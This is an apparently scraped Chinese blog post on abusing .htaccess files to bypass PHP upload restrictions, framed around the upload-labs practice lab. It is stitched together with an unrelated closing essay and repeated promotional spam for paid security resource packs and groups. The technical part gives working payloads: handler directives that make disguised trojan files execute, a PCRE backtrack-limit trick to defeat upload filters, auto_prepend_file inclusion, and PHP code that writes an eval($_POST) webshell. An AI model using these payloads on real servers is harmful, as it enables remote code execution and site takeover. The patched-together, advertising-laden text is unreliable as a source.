写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
使用htaccess创建自定义的出错界面,这也可以是一个URL,对于linux来说:
ErrorDocument 404 /path/to/your/error/pages/404.html ErrorDocument 500 /path/to/your/error/pages/500.html
但是对于windows来说我用这种方式不行,它会显示找不到我也不知道为什么,或者直接显示文件名(同一个目录),但是由于它可以是一个url所以我使用http协议,当然也可以使用目录穿越:
ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/error/error.php ErrorDocument 404 http://127.0.0.1/upload-labs-master/upload/../upload/error/error.php
2.2. 强制文件执行方式
ForceType application/x-httpd-php SetHandler application/x-httpd-php
这一种方式可以强制文件被哪一个解析器执行,尤其是利用修改后缀的木马文件。
AddHanlder application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddType application/x-httpd-php .xxx 同上AddHandler的作用
AddType和AddHanlder同理,但是一般能上传htaccess文件的一般直接使用SetHandler了
2.3. PCRE绕过正则匹配
PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
php_value pcre.backtrack_limit 0
简单总结一下,假如我们有一个php语句为<?php phpinfo();?>abcdef,不管什么文件后缀都会执行正则匹配
preg_match('/<\?.*[(`;?>].*/is', $data);
其中正则匹配循环到这两个.*已经匹配完所有字符了即到达abcdef的f,但是点星后面还有字符所以会进行回溯,重点就是这个回溯操作。回溯过程就是从f开始往前匹配,如果其中有匹配[(`;?>]的就结束,这个就是点星的匹配逻辑,如果没有回溯则点星就会匹配完<?php phpinfo()?>abcdef,而不满足原来则正则表达式,所以会返回false从而实现绕过。php设定了回溯最大次数,如果我们修改这个回溯次数为0,超过最大次数就会返回false(不是0也不是1,但是正常的匹配是会返回0或1的),可以实现绕过。
但是存在非贪婪模式的正则匹配,那可以输入大量的字符在/**/注释符中,使回溯次数超过限制。
解决方案就是,使用全等号来判断返回值。
2.4. php_value修改php设定
想要使用htaccess修改php的设定,需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。(注,这是原作上写的,我按照过程实践了一遍,value有值还是可以修改设定,先放着吧)
而.htaccess 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令(https://www.php.net/manual/zh/configuration.changes.modes.php)
而具体的类型的指令可以参考官方文档https://www.php.net/manual/zh/ini.list.php可以利用这个创建一句话木马,只要将写木马的代码以合法的后缀(啥都行,一个字母也行)传送到网站中即可。
php_value auto_prepend_file 1.txt 在主文件解析之前自动解析包含1.txt的内容 php_value auto_append_file 2.txt 在主文件解析后自动解析1.txt的内容
<?php $new\_file\_name = "shell.php"; $shell\_content = '<?php @eval($\_POST[\'x\']);?>'; if (file\_put\_contents($new\_file\_name, $shell\_content) != false) { echo "Shell文件创建成功"; } else { echo "创建Shell文件失败"; } ?>
创建的shell在被解析文件的目录中
2.5. php_value文件包含
php_value的作用还可以文件包含,在作用范围内的php文件头/尾自动include指定文件,支持php伪协议.htaccess可以使得include默认路径改变,即:
通过改变include_path的值可以实现默认路径改变。
2.6. 把htaccess当作php
- 当前文件下有php文件
php_value auto_append_file .htaccess #<?php phpinfo();
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!